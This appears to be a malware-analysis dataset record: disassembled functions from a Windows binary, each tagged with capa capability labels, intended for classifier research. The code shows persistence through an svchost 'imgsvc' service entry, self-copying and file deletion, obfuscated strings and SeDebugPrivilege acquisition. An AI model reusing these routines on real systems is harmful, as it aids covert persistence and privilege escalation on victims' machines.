joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str._j_ajs_AzuddqlOv
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str._j_ajs_AzuddqlOv
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__PgfuTL_ockvunq_xha
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x10002864
Capabilities:
Enumerate pe sections

Disassembly:
je 0x10002e67
mov edi, dword [eax + 0x3c]
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.1000266e
jo 0x10002870
mov bh, 0x47
adc al, 0x8d
je 0x100028ae
sbb byte [ecx - 0x1017438b], cl
std
invalid
cmp dl, dl
movzx eax, word [edi + 6]
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.1000266e
arpl word [eax - 0x7499769d], sp
inc edi
push es
cmp ax, bx
jbe 0x100028c8
lea ecx, [esi + 0xc]
movzx edx, ax
dec esi
or al, 0xf
mov bh, 0xd0
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x100028c2
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x100028b3
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.1000266e
out dx, al
pop ss
inc eax
cmp dword [ebp - 0x17af57bb], ecx
pop edi
std
invalid
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001030
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
push esi
mov dword [ebp - 0x21c], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x10001137
lea eax, [ebp - 0x210]
push eax
push 0x10018270
push 1
push esi
push 0x10018280
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10001131
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
lea edx, [ebp - 0x214]
push edx
push 0x10018290
push eax
call dword [ecx]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100010c2
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x2c]
cmp dword [ebp - 0x218], esi
jl 0x10001125
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.1000c980
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x21c]
push 1
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 0x20c]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000a9e1
leave
ret
Function at 0x10001772
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000179d
xor al, al
jmp 0x100017f2
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100017bd
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001799
mov eax, dword [ebp - 0x20]
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
push 0
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x100017b2
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a9e1
leave
ret

Function at 0x100017fe
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x234], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.1000c980
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1000187d
push dword [ebp - 0x234]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10001883
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10001858
jmp 0x10001889
mov ebx, dword [ebp - 0x228]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1000a9e1
leave
ret
Function at 0x10002c76
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
mov dword [ebp - 0x114], ecx
mov ecx, dword [ebp + 0xc]
push 0x40000000
push eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x108], eax
cmp eax, 0xffffffff
je 0x10002dd0
push edi
push 0xfe
lea eax, [ebp - 0x103]
push ebx
push eax
mov byte [ebp - 0x104], bl
call fcn.1000c980
lea edi, [ebp - 0x104]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10002ced
push esi
mov esi, str.FileSystem_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 1
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edi, [ebp - 0x104]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10002d0d
mov esi, str.Stdio.dll
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x104]
movsd dword es:[edi], dword [esi]
push eax
push dword [ebp - 0x10c]
movsw word es:[edi], word [esi]
call fcn.1000b200
pop ecx
pop ecx
test eax, eax
je 0x10002d90
mov esi, 0x1f400000
push esi
call fcn.1000b16b
mov edi, eax
pop ecx
cmp edi, ebx
je 0x10002dc2
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push edi
call fcn.10013300
mov eax, dword [ebp - 0x110]
mov ecx, esi
sub ecx, eax
push ecx
add eax, edi
push ebx
push eax
call fcn.1000c980
add esp, 0x18
push ebx
lea eax, [ebp - 0x10c]
push eax
push esi
push edi
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.1000b131
pop ecx
jmp 0x10002db6
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x110]
mov dword [ebp - 0x10c], ebx
push dword [ebp - 0x114]
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x108]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000a9e1
leave
ret
Function at 0x10002ddd
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.1000a73e
pop ecx
push esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10002e3b
push dword [ebp + 8]
call esi
push edi
call fcn.1000b541
pop ecx
push dword [ebp + 8]
call esi
lea esi, [ebx - 0x850]
push esi
call fcn.1000a73e
mov ebx, eax
push esi
lea eax, [edi + 0x36]
push eax
push ebx
call fcn.10013300
push 0x18cc
push esi
push ebx
call fcn.100028f5
push esi
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.10002c76
push ebx
call fcn.1000b541
push edi
call fcn.1000b541
add esp, 0x2c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000731c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x10007327
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x100073db
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x1001c210]
add ecx, 8
sub edi, 8
dec esi
jne 0x1000733e
pop ebx
test edi, edi
je 0x100073f4
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x1001c210]
inc ecx
dec edi
jne 0x100073df
pop esi
not eax
pop edi
ret

Function at 0x100073f9
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x1001c210]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x1001c210]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x10007b16
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x10007b46
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10007b41
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x10007b6e
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x10007b57
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.10013300
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x100087af
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [esi], 0
push edi
jne 0x10008827
cmp dword [esi + 4], 0xffffffff
jne 0x10008827
lea edi, [esi + 0x140]
push edi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100087d5
sub eax, ecx
lea eax, [eax + esi + 0x13f]
mov cl, byte [eax]
cmp cl, 0x5c
je 0x100087f7
cmp cl, 0x2f
je 0x100087f7
mov word [eax + 1], 0x2f
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.10007a0b
pop ecx
pop ecx
test eax, eax
jne 0x1000880e
mov eax, dword [ebp + 8]
jmp 0x1000882c
push eax
call fcn.10007d87
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x1000882c
mov eax, 0x1000000
pop edi
pop ebp
ret 4

Function at 0x10008e0f
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
test ebx, ebx
je 0x10008e8e
push 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.1000bafb
lea eax, [ebp - 0x20c]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10008e4c
sub eax, ecx
je 0x10008e6d
lea eax, [ebp + eax - 0x20d]
mov cl, byte [eax]
cmp cl, 0x2f
je 0x10008e6a
cmp cl, 0x5c
jne 0x10008e6d
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10008e8e
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [edi]
test al, al
je 0x10008f4f
push esi
mov esi, edi
mov ecx, edi
cmp al, 0x2f
je 0x10008ea5
cmp al, 0x5c
jne 0x10008ea7
mov esi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10008e9d
cmp esi, edi
je 0x10008eda
sub esi, edi
push esi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.10013300
lea eax, [ebp - 0x20c]
push eax
push ebx
mov byte [ebp + esi - 0x20c], 0
call fcn.10008e0f
add esp, 0x14
mov byte [ebp - 0x108], 0
pop esi
test ebx, ebx
je 0x10008efb
push 0x104
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1000bafb
add esp, 0xc
lea eax, [ebp - 0x108]
mov byte [ebp - 5], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10008f08
sub eax, ecx
mov ecx, 0x104
sub ecx, eax
push ecx
lea eax, [ebp + eax - 0x108]
push edi
push eax
call fcn.1000bafb
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10008f4f
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1000a9e1
leave
ret
Function at 0x10009982
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x1001aa30]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x1001aa30]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x100099f4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
mov edi, dword [ebp + 0xc]
je 0x10009a67
mov eax, dword [esi + 0x3c]
xor ebx, ebx
cmp eax, ebx
je 0x10009a20
cmp dword [esi + 0x40], edi
jae 0x10009a20
push eax
call fcn.1000b57f
pop ecx
mov dword [esi + 0x3c], ebx
cmp dword [esi + 0x3c], ebx
jne 0x10009a35
lea eax, [edi + edi]
push eax
call fcn.1000b9a8
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
push edi
push dword [ebp + 8]
push dword [esi + 0x3c]
call fcn.10013300
add esp, 0xc
test edi, edi
je 0x10009a64
mov eax, dword [esi + 0x3c]
movzx eax, byte [ebx + eax]
push eax
lea ecx, [esi + 0x30]
call fcn.100099c8
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x10009a48
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x10009a96
mov eax, dword [esi + 0x24]
lea ebx, [eax + edi]
cmp ebx, dword [esi + 0x28]
jb 0x10009a82
mov dword [esi + 0x14], 0x30000
jmp 0x10009ab8
push edi
push edx
add eax, ecx
push eax
call fcn.10013300
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
jmp 0x10009aba
mov eax, dword [esi + 4]
test eax, eax
je 0x10009ab1
push 0
lea ecx, [ebp + 8]
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x10009aba
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1000a9e1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100200b0]
jne 0x1000a9eb
repz ret
jmp fcn.1000c9fa

Function at 0x100136b0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000e4f9
and dword [ebp - 0x14], 0
cmp dword [0x10021e90], 0
mov dword [ebp - 0x18], eax
jne 0x10013763
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001380b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001380b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10021e90], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10021e94], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10021e98], eax
call edi
push eax
call esi
mov dword [0x10021ea0], eax
test eax, eax
je 0x10013763
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10021e9c], eax
mov eax, dword [0x10021e9c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100137bc
cmp dword [0x10021ea0], ecx
je 0x100137bc
push eax
call esi
push dword [0x10021ea0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100137bc
test ebx, ebx
je 0x100137bc
call edi
test eax, eax
je 0x100137b3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100137b3
test byte [ebp - 8], 1
jne 0x100137bc
or dword [ebp + 0x10], 0x200000
jmp 0x100137ef
mov eax, dword [0x10021e94]
cmp eax, dword [ebp - 0x18]
je 0x100137ef
push eax
call esi
test eax, eax
je 0x100137ef
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100137ef
mov eax, dword [0x10021e98]
cmp eax, dword [ebp - 0x18]
je 0x100137ef
push eax
call esi
test eax, eax
je 0x100137ef
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10021e90]
call esi
test eax, eax
je 0x1001380b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001380d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a9e1
leave
ret